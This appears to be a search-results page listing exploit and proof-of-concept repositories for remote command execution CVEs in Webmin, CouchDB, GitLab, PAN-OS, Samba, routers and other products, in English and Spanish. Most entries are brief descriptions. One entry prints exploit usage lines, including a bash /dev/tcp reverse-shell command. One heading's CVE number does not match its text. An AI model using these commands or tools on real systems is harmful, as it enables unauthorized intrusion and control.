17856 matches found
CVE-2019-15107
CVE-2019-15107 CVE-2019-15107 test program This remote command execution vulnerability in webmin, roughly caused by perl's qx/…/ leading to command execution, requires certain special conditions. During reproduction, I casually wrote a graphical exploit program. It is worth noting that the user...
CVE-2023-24706
CVE-2022-24706 Apache CouchDB vulnerabilidad de ejecución remota de comandos poc...
CVE-2021-22205
Impacto de la Vulnerabilidad Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones a partir de la 11.9. GitLab no validaba correctamente los archivos de imagen que se pasaban a un analizador de archivos, lo que resultó en una ejecución remota de comandos. Producto...
CVE-2024-3400
Vulnerabilidad CVE-2024-3400 Descripción La vulnerabilidad CVE-2024-3400 es una vulnerabilidad de seguridad que afecta a los cortafuegos PAN-OS en las versiones 10.2, 11.0 y 11.1. Esta vulnerabilidad se explota cuando las configuraciones de puerta de enlace GlobalProtect y telemetría de...
CVE-2022-25060
CVE-2022-25060 Este script explota una vulnerabilidad de ejecución remota de comandos en el componente oalstartPing del router TPLink WR840N...
CVE-2009-4623
Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...
nfsen-exploit
nfsen-exploit Exploit para CVE-2017-6971: ejecución remota de comandos en nfsen 1.3.7. Probado en Ubuntu, probablemente funciona en todo Vulnerabilidad descubierta por Paul Taylor/Foregenix Ltd Uso: python exploit.py Esto genera un shell de nivel root en la máquina remota...
CVE-2025-55182-poc-tool
CVE-2025-55182-poc-tool A powerful exploit tool for detecting and exploiting CVE-2025-55182 vulnerability in Next.js React Server Components. This tool allows remote command execution RCE in vulnerable Next.js applications with built-in WAF bypass capabilities. Overview CVE-2025-55182 is a critic...
CVE-2021-31761
..| CVE-2021-31761 |.. Descripción : Aprovechando un ataque de Cross-Site Scripting Reflejado XSS para obtener una Ejecución Remota de Comandos RCE a través de la función de procesos en ejecución de Webmin Versión probada : Webmin 1.973 Última versión de GitHub 07/03/2021 Tipo de ataque: Remoto...
FOG Project < 1.5.10.34 - Remote Command Execution
FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. id: CVE-2024-39914 info: name: FOG Project 1.5.10.34 - Remote...
D-Link DSL 2888a - Authentication Bypass/Remote Command Execution
D-Link DSL-2888A devices with firmware prior to AU2.31V1.1.47ae55 are vulnerable to authentication bypass issues which can lead to remote command execution. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality. id: CVE-2020-24579 info: name: D-Li...
WS_FTP Server - Insecure Deserialization
In WSFTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WSFTP Server operating system. id: CVE-2023-40044 info: name: WSFTP Server - Insecure...
Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution
Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page. id: CVE-2020-35713 info: name: Belkin Linksys RE6500 1.0.012.001 - Remote Command Execution author: gy741 severity:...
Symmetricom SyncServer Unauthenticated - Remote Command Execution
Microchip Technology Microsemi SyncServer S650 was discovered to contain a command injection vulnerability. id: CVE-2022-40022 info: name: Symmetricom SyncServer Unauthenticated - Remote Command Execution author: DhiyaneshDK,mielverkerken severity: critical description: | Microchip Technology...
sunset-noontide-pentesting
Sunset: Noontide — Penetration Testing A professional penetration testing assessment and CTF walkthrough of Sunset: Noontide , an intentionally vulnerable machine from VulnHub. This project documents the complete penetration testing lifecycle, including reconnaissance, service enumeration,...
CVE-2022-1388-POC
CVE-2022-1388 Poc por PsychoSec POC mejorado para CVE-2022-1388 que afecta a múltiples productos F5. Esta es una versión mejorada de la Prueba de Concepto de Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388 Esta versión contiene múltiples mejoras, así como un shell...
CVE-2022-24706
CVE-2022-24706 Colaboradores Escuela White Hat, 4.ª promoción, clase 39 금정현@junghyeonkum Vulnerabilidad de ejecución remota de comandos en Erlang Distribution de CouchDB CVE-2022-24706 Resumen Apache CouchDB es una base de datos NoSQL de tipo documento Document-Oriented de código abierto...
CVE-2007-2447-Exploit
Exploit CVE-2007-2447 Este repositorio contiene un exploit para Samba smbd 3.0.20 CVE-2007-2447 que permite la ejecución remota de comandos mediante solicitudes SMB manipuladas. Requisitos previos Este exploit requiere Python 3 y algunas dependencias. Se recomienda configurar un entorno virtual...
rejjeto_hfs-rce-exploit-cve-2014-6287
Exploit de Ejecución Remota de Comandos en HFS CVE-2014-6287 Esta es una reescritura en Python 3 del clásico exploit de Ejecución Remota de Comandos RCE dirigido a Rejetto HTTP File Server HFS v2.3.x , aprovechando la vulnerabilidad identificada como CVE-2014-6287. Descubierto originalmente por...